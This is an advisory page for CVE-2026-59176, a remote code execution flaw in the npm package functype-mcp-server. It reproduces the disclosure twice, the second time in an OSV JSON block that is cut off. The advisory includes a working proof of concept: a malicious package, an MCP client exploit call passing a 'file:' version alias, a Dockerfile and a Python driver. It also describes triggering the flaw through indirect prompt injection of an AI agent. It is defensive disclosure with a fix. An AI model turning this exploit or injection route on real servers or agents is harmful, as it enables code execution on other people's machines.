CVE-2026-59176: functype-mcp-server Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-wcjj-9m6g-2fr2
CVSS 7.8
CWE-829
Published
Advisory Summary

CVE-2026-59176 is a HIGH (CVSS 7.8) remote code execution vulnerability (CWE-829: Inclusion of Functionality from Untrusted Control Sphere) affecting functype-mcp-server libraries in the npm ecosystem. The issue involves mcp `set_functype_version` package alias rce via unsanitized pnpm install + dynamic import. Remediation is available by upgrading affected packages to version 1.4.4.

CVE-2026-59176 at a Glance

CVE Identifier CVE-2026-59176
GHSA Identifier GHSA-wcjj-9m6g-2fr2
Severity HIGH
CVSS v3.1 Base Score 7.8
CWE Classification CWE-829: Inclusion of Functionality from Untrusted Control Sphere
Affected Product functype-mcp-server
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-59176

To remediate this vulnerability, upgrade all affected functype-mcp-server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

functype-mcp-server fixed: 1.4.4
npm install functype-mcp-server@1.4.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls functype-mcp-server

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-59176, inspect your project dependencies using npm:

npm ls functype-mcp-server

Analyze the terminal output to locate any version of functype-mcp-server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.4.4), your application is affected.

Note: The npm ls functype-mcp-server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-829: Inclusion of Functionality from Untrusted Control Sphere, where the product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere. In functype-mcp-server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import ### Summary The `set_functype_version` MCP tool in `functype-mcp-server` accepts an unconstrained `version` string, interpolates it directly into an npm package specifier (`functype@<version>`), and installs it via `pnpm add` without any validation. Because npm/pnpm package specifiers support `file:`, `npm:`, and other alias syntaxes, an attacker who can send an MCP `tools/call` request to this tool can cause the server to install an arbitrary local or remote package as `functype`. Immediately after installation, the server calls `initDocsData(true)`, which dynamically imports `functype/cli` from the newly installed location, executing attacker-controlled JavaScript in the MCP server process. This results in full Remote Code Execution (RCE) with the privileges of the server process — full confidentiality, integrity, and availability impact (CVSS 7.8 High). ### Details The vulnerable code is in `packages/mcp-server/src/index.ts`. The `set_functype_version` tool is registered at line 115 and is enabled by default (no authentication required in stdio mode). **Source (user input accepted without validation):** ```ts // packages/mcp-server/src/index.ts:119-121 parameters: z.object({ version: z.string().describe('The functype version to install (e.g., "0.46.0", "latest", "^0.45.0")'), }), ``` Only `z.string()` validation is applied — no semver format check, no allowlist for dist-tags, and no rejection of `file:`, `npm:`, URL, or path alias syntaxes. **Sink 1 — arbitrary package installation:** ```ts // packages/mcp-server/src/index.ts:122-125 execute: async (args) => { const spec = `functype@${args.version}` try { execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 }) ``` `args.version` is interpolated into the package specifier string and passed directly to `pnpm add`. Supplying `file:/path/to/evil` causes pnpm to install an attacker-controlled directory as the `functype` package alias. **Sink 2 — dynamic import executes installed package code:** ```ts // packages/mcp-server/src/lib/docs/data.ts:23-30 if (force) { const resolvedPath = require.resolve("functype/cli") cli = await import(`${pathToFileURL(resolvedPath).href}?t=${Date.now()}`) } ``` `initDocsData(true)` is called immediately after installation (line 134 in `index.ts`). It resolves `functype/cli` from the node_modules that now points to the attacker's package and dynamically imports it, executing any module-level code in the attacker's `cli.js` at import time. **Data flow summary:** 1. `index.ts:115` — MCP tool `set_functype_version` registered, no auth required. 2. `index.ts:119-121` — `version` accepted as raw `z.string()` (source). 3. `index.ts:123` — `functype@${args.version}` constructed without sanitization. 4. `index.ts:125` — `execFileSync("pnpm", ["add", spec], ...)` installs attacker-controlled package (sink: arbitrary install). 5. `index.ts:134` — `initDocsData(true)` called immediately. 6. `data.ts:29-30` — `require.resolve("functype/cli")` + dynamic `import()` executes attacker module (sink: RCE). ### PoC **Step 1 — Prepare the attacker-controlled evil package:** ```bash mkdir -p /tmp/evil cat > /tmp/evil/package.json <<'EOF' {"name":"evil-functype","version":"1.0.0","type":"module","exports":{"./cli":"./cli.js"}} EOF cat > /tmp/evil/cli.js <<'EOF' import { writeFileSync } from "node:fs"; writeFileSync("/pwned.txt", "RCE: mcp import-time code execution via set_functype_version\n"); export const TYPES = {}; export const INTERFACES = {}; export const CATEGORIES = {}; export const FULL_INTERFACES = {}; export const VERSION = "1.0.0"; EOF ``` **Step 2 — Clone and build the victim monorepo at the affected version:** ```bash TMP="$(mktemp -d)" git clone https://github.com/jordanburke/functype.git "$TMP/functype" cd "$TMP/functype" git checkout v1.4.3 corepack enable pnpm install --frozen-lockfile pnpm -F functype build pnpm -F functype-mcp-server build ``` **Step 3 — Set up an MCP client to deliver the exploit:** ```bash cd "$TMP" npm init -y npm pkg set type=module npm install @modelcontextprotocol/sdk cat > exploit.mjs <<'EOF' import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js"; const client = new Client({ name: "poc", version: "1.0.0" }); const transport = new StdioClientTransport({ command: "node", args: [`${process.env.REPO}/packages/mcp-server/dist/bin.js`], env: { ...process.env, TRANSPORT_TYPE: "stdio" }, }); await client.connect(transport); const result = await client.callTool({ name: "set_functype_version", arguments: { version: "file:/tmp/evil" }, }); console.log(result); await client.close(); EOF REPO="$TMP/functype" node exploit.mjs ``` **Step 4 — Verify arbitrary code execution:** ```bash cat /pwned.txt # Expected output: RCE: mcp import-time code execution via set_functype_version ``` **Dynamic reproduction (Docker):** The Phase 2 dynamic test used the provided Dockerfile which automates the above steps inside a container. The container confirmed creation of `/pwned.txt` with the expected payload string, proving end-to-end RCE. ``` [poc] EXPLOIT SUCCEEDED: /pwned.txt exists [poc] File contents: RCE: mcp import-time code execution via set_functype_version [evil-payload] Arbitrary code executed via functype/cli dynamic import ``` **Recommended remediation:** ```diff +const SAFE_FUNCTYPE_VERSION = /^(?:latest|next|beta|alpha|canary|rc|[~^]?v?\d+(?:\.\d+){0,2}(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?)$/ + +const isSafeFunctypeVersion = (version: string): boolean => { + const trimmed = version.trim() + return trimmed === version && SAFE_FUNCTYPE_VERSION.test(trimmed) && !/[/:\\@]/.test(trimmed) +} execute: async (args) => { - const spec = `functype@${args.version}` + if (!isSafeFunctypeVersion(args.version)) { + return "Invalid functype version. Use a semver version, range prefix (^ or ~), or a known dist-tag." + } + const spec = `functype@${args.version}` try { - execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 }) + execFileSync("pnpm", ["add", "--ignore-scripts", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 }) ``` ### Impact This is a **Remote Code Execution (RCE)** vulnerability. Any MCP client that can invoke the `set_functype_version` tool — which requires no authentication and is enabled by default in the stdio MCP server — can execute arbitrary JavaScript in the MCP server process. **Who is impacted:** - Developers and teams running `functype-mcp-server` (version 1.4.3) in their local or CI environments as an AI coding assistant integration. - Users whose AI assistant (LLM agent) is connected to this MCP server and is susceptible to indirect prompt injection: a malicious document or web page read by the AI could trigger a `set_functype_version` call with a `file:` or `npm:` alias payload. - In non-default `TRANSPORT_TYPE=httpStream` deployments, network-accessible attackers can exploit this without local access. The full impact at exploitation is confidentiality, integrity, and availability — an attacker can read secrets from the process environment, modify files, or crash the server. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # Dockerfile for VULN-001: MCP set_functype_version Package Alias RCE # # Build context: reports/npmAI_684_jordanburke__functype/ # COPY repo/ -> /workspace/functype/ (victim monorepo) # COPY vuln-001/ -> supporting PoC files # # Build: docker build -t vuln001-functype-rce -f vuln-001/Dockerfile . # Run: docker run --rm vuln001-functype-rce # # Expected exit 0 with "[poc] EXPLOIT SUCCEEDED" in output. FROM node:24-slim # Install pnpm matching the repo's packageManager field (pnpm@11.7.0). RUN npm install -g pnpm@11.7.0 --quiet # ── Victim workspace ────────────────────────────────────────────────────────── WORKDIR /workspace/functype COPY repo/ ./ # Install all workspace deps. --no-frozen-lockfile avoids hash mismatches # caused by running on a different pnpm minor than the one that generated the # lockfile; the installed versions are still constrained by the lockfile # specifiers for the packages we care about. RUN pnpm install --no-frozen-lockfile # Build functype first (mcp-server externals functype at build time). RUN pnpm -F functype build # Build the MCP server binary (output: packages/mcp-server/dist/bin.js). RUN pnpm -F functype-mcp-server build # ── Attacker-controlled evil package ───────────────────────────────────────── # /evil/cli.js writes /pwned.txt when dynamically imported. COPY vuln-001/evil/ /evil/ # ── MCP exploit client ──────────────────────────────────────────────────────── WORKDIR /client RUN npm init -y --quiet && \ npm pkg set type=module && \ npm install @modelcontextprotocol/sdk@1.29.0 --quiet COPY vuln-001/client/exploit.mjs ./exploit.mjs # Default entrypoint: run the exploit and exit 0 on success. CMD ["node", "/client/exploit.mjs"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC driver for VULN-001: MCP set_functype_version Package Alias RCE via Unsanitized pnpm install + Dynamic Import (CWE-829, CVSS 7.8 High). Attack chain: 1. Attacker calls MCP tool set_functype_version with version="file:/evil" 2. Server executes: execFileSync("pnpm", ["add", "functype@file:/evil"], ...) 3. Evil package is installed as the functype alias in mcp-server's node_modules 4. Server calls initDocsData(true) which resolves functype/cli and dynamic-imports it 5. /evil/cli.js runs at import time -> writes /pwned.txt (arbitrary code execution) Usage: python3 poc.py [--build-only] Requirements: - Docker daemon running - Build context at parent directory of this file's directory """ import subprocess import sys import json import os import argparse VULN_DIR = os.path.dirname(os.path.abspath(__file__)) REPORT_DIR = os.path.dirname(VULN_DIR) IMAGE_NAME = "vuln001-functype-rce" DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile") RESULT_FILE = os.path.join(VULN_DIR, "phase2_result.json") BUILD_CMD = ["docker", "build", "-t", IMAGE_NAME, "-f", DOCKERFILE, REPORT_DIR] RUN_CMD = ["docker", "run", "--rm", IMAGE_NAME] def run(cmd, timeout=None, **kwargs): """Run a command and return CompletedProcess with combined output.""" return subprocess.run( cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=timeout, **kwargs, ) def write_result(passed, verdict, reason, evidence): result = { "passed": passed, "verdict": verdict, "reason": reason, "build_command": " ".join(BUILD_CMD), "run_command": " ".join(RUN_CMD), "poc_command": f"python3 {os.path.basename(__file__)}", "evidence": evidence, "artifacts": ["Dockerfile", "poc.py", "evil/package.json", "evil/cli.js", "client/exploit.mjs"], } with open(RESULT_FILE, "w", encoding="utf-8") as f: json.dump(result, f, indent=2, ensure_ascii=False) print(f"[poc] Result written to {RESULT_FILE}") print(f"[poc] verdict={verdict} passed={passed}") def main(): parser = argparse.ArgumentParser(description="VULN-001 PoC driver") parser.add_argument("--build-only", action="store_true", help="Only build the image, do not run") args = parser.parse_args() # ── Build ───────────────────────────────────────────────────────────────── print("[poc] Building Docker image (this may take a few minutes)...") print(f"[poc] Build command: {' '.join(BUILD_CMD)}") try: build = run(BUILD_CMD, timeout=900) except subprocess.TimeoutExpired: msg = "Docker build timed out after 900 seconds" print(f"[poc] ERROR: {msg}") write_result(False, "INCOMPLETE", f"빌드 타임아웃: {msg}", msg) sys.exit(2) if build.returncode != 0: tail = (build.stdout + "\n" + build.stderr)[-3000:] print("[poc] Build FAILED:") print(tail) write_result( False, "FAIL", "Docker 이미지 빌드 실패. pnpm install 또는 TypeScript 빌드 오류 확인 필요.", f"BUILD EXIT {build.returncode}\n{tail}", ) sys.exit(1) print("[poc] Build succeeded.") if args.build_only: print("[poc] --build-only flag set; skipping run.") sys.exit(0) # ── Run ─────────────────────────────────────────────────────────────────── print(f"[poc] Running exploit container: {' '.join(RUN_CMD)}") try: run_result = run(RUN_CMD, timeout=180) except subprocess.TimeoutExpired: msg = "Container run timed out after 180 seconds" print(f"[poc] ERROR: {msg}") write_result(False, "INCOMPLETE", f"컨테이너 실행 타임아웃: {msg}", msg) sys.exit(2) stdout = run_result.stdout or "" stderr = run_result.stderr or "" combined = stdout + "\n" + stderr print("=" * 60) print("STDOUT:") print(stdout) print("STDERR:") print(stderr) print(f"EXIT CODE: {run_result.returncode}") print("=" * 60) # Success criteria: exit 0 AND exploit succeeded message present exploit_succeeded = "EXPLOIT SUCCEEDED" in combined passed = run_result.returncode == 0 and exploit_succeeded if passed: # Extract key evidence lines evidence_lines = [ line for line in combined.splitlines() if any(kw in line for kw in ("EXPLOIT SUCCEEDED", "pwned.txt", "evil-payload", "RCE:")) ] evidence = "\n".join(evidence_lines) if evidence_lines else combined[-1000:] write_result( True, "PASS", ( "컨테이너 내 /pwned.txt 생성 확인: MCP set_functype_version 도구에 " 'version="file:/evil" 인수를 전달하자 서버가 pnpm add functype@file:/evil을 실행한 후 ' "initDocsData(true)가 동적 import를 통해 evil/cli.js를 실행, 임의 파일 쓰기(RCE)가 발생함." ), evidence, ) print("[poc] === PASS: exploit reproduced ===") sys.exit(0) else: # Distinguish failure modes if not exploit_succeeded and run_result.returncode == 0: verdict = "INCOMPLETE" reason = ( "/pwned.txt가 생성되지 않았으나 컨테이너는 정상 종료됨. " "pnpm add 후 require.resolve 경로 확인 필요 — pnpm 가상 스토어 구조로 인해 " "node_modules/functype 심볼릭링크가 예상 위치에 없을 수 있음." ) else: verdict = "FAIL" reason = ( f"컨테이너 종료 코드 {run_result.returncode}. " "exploit.mjs 오류 또는 MCP 서버 시작 실패. 로그 확인 필요." ) write_result(False, verdict, reason, combined[-2000:]) print(f"[poc] === {verdict}: exploit did not reproduce ===") sys.exit(1) if __name__ == "__main__": main() ```

CVE-2026-59176 Affected functype-mcp-server Versions

1 component(s)
Fixed Versions:
1.4.4
Product / Package Ecosystem Affected Versions Fixed Version
functype-mcp-server
npm
< 1.4.4
1.4.4

References

Frequently Asked Questions

What is CVE-2026-59176?
CVE-2026-59176 is a security vulnerability in functype-mcp-server involving MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import under CWE-829: Inclusion of Functionality from Untrusted Control Sphere.
Which functype-mcp-server versions are affected?
Affected versions include releases prior to 1.4.4 across affected packages: functype-mcp-server.
What version fixes CVE-2026-59176?
Upgrading to 1.4.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is functype-mcp-server affected?
Yes, functype-mcp-server is affected in releases prior to 1.4.4. Upgrade your dependency to 1.4.4 or later.
What is the CVSS score of CVE-2026-59176?
CVE-2026-59176 has a CVSS v3.1 base score of 7.8 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-59176?
CVE-2026-59176 is classified under CWE-829: Inclusion of Functionality from Untrusted Control Sphere (The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.).
How can I check npm dependencies for CVE-2026-59176?
Run the dependency tree command: 'npm ls functype-mcp-server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wcjj-9m6g-2fr2",
  "modified" : "2026-09-09T23:49:20Z",
  "published" : "2026-09-09T23:49:20Z",
  "aliases" : [ "CVE-2026-59176" ],
  "summary" : "functype-mcp-server: MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import",
  "details" : "## MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import\n\n### Summary\n\nThe `set_functype_version` MCP tool in `functype-mcp-server` accepts an unconstrained `version` string, interpolates it directly into an npm package specifier (`functype@<version>`), and installs it via `pnpm add` without any validation. Because npm/pnpm package specifiers support `file:`, `npm:`, and other alias syntaxes, an attacker who can send an MCP `tools/call` request to this tool can cause the server to install an arbitrary local or remote package as `functype`. Immediately after installation, the server calls `initDocsData(true)`, which dynamically imports `functype/cli` from the newly installed location, executing attacker-controlled JavaScript in the MCP server process. This results in full Remote Code Execution (RCE) with the privileges of the server process — full confidentiality, integrity, and availability impact (CVSS 7.8 High).\n\n### Details\n\nThe vulnerable code is in `packages/mcp-server/src/index.ts`. The `set_functype_version` tool is registered at line 115 and is enabled by default (no authentication required in stdio mode).\n\n**Source (user input accepted without validation):**\n```ts\n// packages/mcp-server/src/index.ts:119-121\nparameters: z.object({\n  version: z.string().describe('The functype version to install (e.g., \"0.46.0\", \"latest\", \"^0.45.0\")'),\n}),\n```\nOnly `z.string()` validation is applied — no semver format check, no allowlist for dist-tags, and no rejection of `file:`, `npm:`, URL, or path alias syntaxes.\n\n**Sink 1 — arbitrary package installation:**\n```ts\n// packages/mcp-server/src/index.ts:122-125\nexecute: async (args) => {\n  const spec = `functype@${args.version}`\n  try {\n    execFileSync(\"pnpm\", [\"add\", spec], { cwd: PROJECT_ROOT, stdio: \"pipe\", timeout: 60_000 })\n```\n`args.version` is interpolated into the package specifier string and passed directly to `pnpm add`. Supplying `file:/path/to/evil` causes pnpm to install an attacker-controlled directory as the `functype` package alias.\n\n**Sink 2 — dynamic import executes installed package code:**\n```ts\n// packages/mcp-server/src/lib/docs/data.ts:23-30\nif (force) {\n  const resolvedPath = require.resolve(\"functype/cli\")\n  cli = await import(`${pathToFileURL(resolvedPath).href}?t=${Date.now()}`)\n}\n```\n`initDocsData(true)` is called immediately after installation (line 134 in `index.ts`). It resolves `functype/cli` from the node_modules that now points to the attacker's package and dynamically imports it, executing any module-level code in the attacker's `cli.js` at import time.\n\n**Data flow summary:**\n1. `index.ts:115` — MCP tool `set_functype_version` registered, no auth required.\n2. `index.ts:119-121` — `version` accepted as raw `z.string()` (source).\n3. `index.ts:123` — `functype@${args.version}` constructed without sanitization.\n4. `index.ts:125` — `execFileSync(\"pnpm\", [\"add\", spec], ...)` installs attacker-controlled package (sink: arbitrary install).\n5. `index.ts:134` — `initDocsData(true)` called immediately.\n6. `data.ts:29-30` — `require.resolve(\"functype/cli\")` + dynamic `import()` executes attacker module (sink: RCE).\n\n### PoC\n\n**Step 1 — Prepare the attacker-controlled evil package:**\n```bash\nmkdir -p /tmp/evil\ncat > /tmp/evil/package.json <<'EOF'\n{\"name\":\"evil-functype\",\"version\":\"1.0.0\",\"type\":\"module\",\"exports\":{\"./cli\":\"./cli.js\"}}\nEOF\ncat > /tmp/evil/cli.js <<'EOF'\nimport { writeFileSync } from \"node:fs\";\nwriteFileSync(\"/pwned.txt\", \"RCE: mcp import-time code execution via set_functype_version\\n\");\nexport const TYPES = {};\nexport const INTERFACES = {};\nexport const CATEGORIES = {};\nexport const FULL_INTERFACES = {};\nexport const VERSION = \"1.0.0\";\nEOF\n```\n\n**Step 2 — Clone and build the victim monorepo at the affected version:**\n```bash\nTMP=\"$(mktemp -d)\"\ngit clone https://github.com/jordanburke/functype.git \"$TMP/functype\"\ncd \"$TMP/functype\"\ngit checkout v1.4.3\ncorepack enable\npnpm install --frozen-lockfile\npnpm -F functype build\npnpm -F functype-mcp-server build\n```\n\n**Step 3 — Set up an MCP client to deliver the exploit:**\n```bash\ncd \"$TMP\"\nnpm init -y\nnpm pkg set type=module\nnpm install @modelcontextprotocol/sdk\n\ncat > exploit.mjs <<'EOF'\nimport { Client } from \"@modelcontextprotocol/sdk/client/index.js\";\nimport { StdioClientTransport } from \"@modelcontextprotocol/sdk/client/stdio.js\";\n\nconst client = new Client({ name: \"poc\", version: \"1.0.0\" });\nconst transport = new StdioClientTransport({\n  command: \"node\",\n  args: [`${process.env.REPO}/packages/mcp-server/dist/bin.js`],\n  env: { ...process.env, TRANSPORT_TYPE: \"stdio\" },\n});\n\nawait client.connect(transport);\nconst result = await client.callTool({\n  name: \"set_functype_version\",\n  arguments: { version: \"file:/tmp/evil\" },\n});\nconsole.log(result);\nawait client.close();\nEOF\n\nREPO=\"$TMP/functype\" node exploit.mjs\n```\n\n**Step 4 — Verify arbitrary code execution:**\n```bash\ncat /pwned.txt\n# Expected output: RCE: mcp import-time code execution via set_functype_version\n```\n\n**Dynamic reproduction (Docker):**\n\nThe Phase 2 dynamic test used the provided Dockerfile which automates the above steps inside a container. The container confirmed creation of `/pwned.txt` with the expected payload string, proving end-to-end RCE.\n\n```\n[poc] EXPLOIT SUCCEEDED: /pwned.txt exists\n[poc] File contents: RCE: mcp import-time code execution via set_functype_version\n[evil-payload] Arbitrary code executed via functype/cli dynamic import\n```\n\n**Recommended remediation:**\n```diff\n+const SAFE_FUNCTYPE_VERSION = /^(?:latest|next|beta|alpha|canary|rc|[~^]?v?\\d+(?:\\.\\d+){0,2}(?:-[0-9A-Za-z.-]+)?(?:\\+[0-9A-Za-z.-]+)?)$/\n+\n+const isSafeFunctypeVersion = (version: string): boolean => {\n+  const trimmed = version.trim()\n+  return trimmed === version && SAFE_FUNCTYPE_VERSION.test(trimmed) && !/[/:\\\\@]/.test(trimmed)\n+}\n\n execute: async (args) => {\n-  const spec = `functype@${args.version}`\n+  if (!isSafeFunctypeVersion(args.version)) {\n+    return \"Invalid functype version. Use a semver version, range prefix (^ or ~), or a known dist-tag.\"\n+  }\n+  const spec = `functype@${args.version}`\n   try {\n-    execFileSync(\"pnpm\", [\"add\", spec], { cwd: PROJECT_ROOT, stdio: \"pipe\", timeout: 60_000 })\n+    execFileSync(\"pnpm\", [\"add\", \"--ignore-scripts\", spec], { cwd: PROJECT_ROOT, stdio: \"pipe\", timeout: 60_000 })\n```\n\n### Impact\n\nThis is a **Remote Code Execution (RCE)** vulnerability. Any MCP client that can invoke the `set_functype_version` tool — which requires no authentication and is enabled by default in the stdio MCP server — can execute arbitrary JavaScript in the MCP server process.\n\n**Who is impacted:**\n- Developers and teams running `functype-mcp-server` (version 1.4.3) in their local or CI environments as an AI coding assistant integration.\n- Users whose AI assistant (LLM agent) is connected to this MCP server and is susceptible to indirect prompt injection: a malicious document or web page read by the AI could trigger a `set_functype_version` call with a `file:` or `npm:` alias payload.\n- In non-default `TRANSPORT_TYPE=httpStream` deployments, network-accessible attackers can exploit this without local access.\n\nThe full impact at exploitation is confidentiality, integrity, and availability — an attacker can read secrets from the process environment, modify files, or crash the server.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001: MCP set_functype_version Package Alias RCE\n#\n# Build context: reports/npmAI_684_jordanburke__functype/\n#   COPY repo/       -> /workspace/functype/   (victim monorepo)\n#   COPY vuln-001/   -> supporting PoC files\n#\n# Build:  docker build -t vuln001-functype-rce -f vuln-001/Dockerfile .\n# Run:    docker run --rm vuln001-functype-rce\n#\n# Expected exit 0 with \"[poc] EXPLOIT SUCCEEDED\" in output.\n\nFROM node:24-slim\n\n# Install pnpm matching the repo's packageManager field (pnpm@11.7.0).\nRUN npm install -g pnpm@11.7.0 --quiet\n\n# ── Victim workspace ──────────────────────────────────────────────────────────\nWORKDIR /workspace/functype\nCOPY repo/ ./\n\n# Install all workspace deps. --no-frozen-lockfile avoids hash mismatches\n# caused by running on a different pnpm minor than the one that generated the\n# lockfile; the installed versions are still constrained by the lockfile\n# specifiers for the packages we care about.\nRUN pnpm install --no-frozen-lockfile\n\n# Build functype first (mcp-server externals functype at build time).\nRUN pnpm -F functype build\n\n# Build the MCP server binary (output: packages/mcp-server/dist/bin.js).\nRUN pnpm -F functype-mcp-server build\n\n# ── Attacker-controlled evil package ─────────────────────────────────────────\n# /evil/cli.js writes /pwned.txt when dynamically imported.\nCOPY vuln-001/evil/ /evil/\n\n# ── MCP exploit client ────────────────────────────────────────────────────────\nWORKDIR /client\nRUN npm init -y --quiet && \\\n    npm pkg set type=module && \\\n    npm install @modelcontextprotocol/sdk@1.29.0 --quiet\nCOPY vuln-001/client/exploit.mjs ./exploit.mjs\n\n# Default entrypoint: run the exploit and exit 0 on success.\nCMD [\"node\", \"/client/exploit.mjs\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC driver for VULN-001: MCP set_functype_version Package Alias RCE\nvia Unsanitized pnpm install + Dynamic Import (CWE-829, CVSS 7.8 High).\n\nAttack chain:\n  1. Attacker calls MCP tool set_functype_version with version=\"file:/evil\"\n  2. Server executes: execFileSync(\"pnpm\", [\"add\", \"functype@file:/evil\"], ...)\n  3. Evil package is installed as the functype alias in mcp-server's node_modules\n  4. Server calls initDocsData(true) which resolves functype/cli and dynamic-imports it\n  5. /evil/cli.js runs at import time -> writes /pwned.txt (arbitrary code execution)\n\nUsage:\n  python3 poc.py [--build-only]\n\nRequirements:\n  - Docker daemon running\n  - Build context at parent directory of this file's directory\n\"\"\"\n\nimport subprocess\nimport sys\nimport json\nimport os\nimport argparse\n\nVULN_DIR = os.path.dirname(os.path.abspath(__file__))\nREPORT_DIR = os.path.dirname(VULN_DIR)\nIMAGE_NAME = \"vuln001-functype-rce\"\nDOCKERFILE = os.path.join(VULN_DIR, \"Dockerfile\")\nRESULT_FILE = os.path.join(VULN_DIR, \"phase2_result.json\")\n\nBUILD_CMD = [\"docker\", \"build\", \"-t\", IMAGE_NAME, \"-f\", DOCKERFILE, REPORT_DIR]\nRUN_CMD = [\"docker\", \"run\", \"--rm\", IMAGE_NAME]\n\n\ndef run(cmd, timeout=None, **kwargs):\n    \"\"\"Run a command and return CompletedProcess with combined output.\"\"\"\n    return subprocess.run(\n        cmd,\n        stdout=subprocess.PIPE,\n        stderr=subprocess.PIPE,\n        text=True,\n        timeout=timeout,\n        **kwargs,\n    )\n\n\ndef write_result(passed, verdict, reason, evidence):\n    result = {\n        \"passed\": passed,\n        \"verdict\": verdict,\n        \"reason\": reason,\n        \"build_command\": \" \".join(BUILD_CMD),\n        \"run_command\": \" \".join(RUN_CMD),\n        \"poc_command\": f\"python3 {os.path.basename(__file__)}\",\n        \"evidence\": evidence,\n        \"artifacts\": [\"Dockerfile\", \"poc.py\", \"evil/package.json\", \"evil/cli.js\", \"client/exploit.mjs\"],\n    }\n    with open(RESULT_FILE, \"w\", encoding=\"utf-8\") as f:\n        json.dump(result, f, indent=2, ensure_ascii=False)\n    print(f\"[poc] Result written to {RESULT_FILE}\")\n    print(f\"[poc] verdict={verdict}  passed={passed}\")\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"VULN-001 PoC driver\")\n    parser.add_argument(\"--build-only\", action=\"store_true\", help=\"Only build the image, do not run\")\n    args = parser.parse_args()\n\n    # ── Build ─────────────────────────────────────────────────────────────────\n    print(\"[poc] Building Docker image (this may take a few minutes)...\")\n    print(f\"[poc] Build command: {' '.join(BUILD_CMD)}\")\n\n    try:\n        build = run(BUILD_CMD, timeout=900)\n    except subprocess.TimeoutExpired:\n        msg = \"Docker build timed out after 900 seconds\"\n        print(f\"[poc] ERROR: {msg}\")\n        write_result(False, \"INCOMPLETE\", f\"빌드 타임아웃: {msg}\", msg)\n        sys.exit(2)\n\n    if build.returncode != 0:\n        tail = (build.stdout + \"\\n\" + build.stderr)[-3000:]\n        print(\"[poc] Build FAILED:\")\n        print(tail)\n        write_result(\n            False,\n            \"FAIL\",\n            \"Docker 이미지 빌드 실패. pnpm install 또는 TypeScript 빌드 오류 확인 필요.\",\n            f\"BUILD EXIT {build.returncode}\\n{tail}\",\n        )\n        sys.exit(1)\n\n    print(\"[poc] Build succeeded.\")\n\n    if args.build_only:\n        print(\"[poc] --build-only flag set; skipping run.\")\n        sys.exit(0)\n\n    # ── Run ───────────────────────────────────────────────────────────────────\n    print(f\"[poc] Running exploit container: {' '.join(RUN_CMD)}\")\n\n    try:\n        run_result = run(RUN_CMD, timeout=180)\n    except subprocess.TimeoutExpired:\n        msg = \"Container run timed out after 180 seconds\"\n        print(f\"[poc] ERROR: {msg}\")\n        write_result(False, \"INCOMPLETE\", f\"컨테이너 실행 타임아웃: {msg}\", msg)\n        sys.exit(2)\n\n    stdout = run_result.stdout or \"\"\n    stderr = run_result.stderr or \"\"\n    combined = stdout + \"\\n\" + stderr\n\n    print(\"=\" * 60)\n    print(\"STDOUT:\")\n    print(stdout)\n    print(\"STDERR:\")\n    print(stderr)\n    print(f\"EXIT CODE: {run_result.returncode}\")\n    print(\"=\" * 60)\n\n    # Success criteria: exit 0 AND exploit succeeded message present\n    exploit_succeeded = \"EXPLOIT SUCCEEDED\" in combined\n    passed = run_result.returncode == 0 and exploit_succeeded\n\n    if passed:\n        # Extract key evidence lines\n        evidence_lines = [\n            line for line in combined.splitlines()\n            if any(kw in line for kw in (\"EXPLOIT SUCCEEDED\", \"pwned.txt\", \"evil-payload\", \"RCE:\"))\n        ]\n        evidence = \"\\n\".join(evidence_lines) if evidence_lines else combined[-1000:]\n\n        write_result(\n            True,\n            \"PASS\",\n            (\n                \"컨테이너 내 /pwned.txt 생성 확인: MCP set_functype_version 도구에 \"\n                'version=\"file:/evil\" 인수를 전달하자 서버가 pnpm add functype@file:/evil을 실행한 후 '\n                \"initDocsData(true)가 동적 import를 통해 evil/cli.js를 실행, 임의 파일 쓰기(RCE)가 발생함.\"\n            ),\n            evidence,\n        )\n        print(\"[poc] === PASS: exploit reproduced 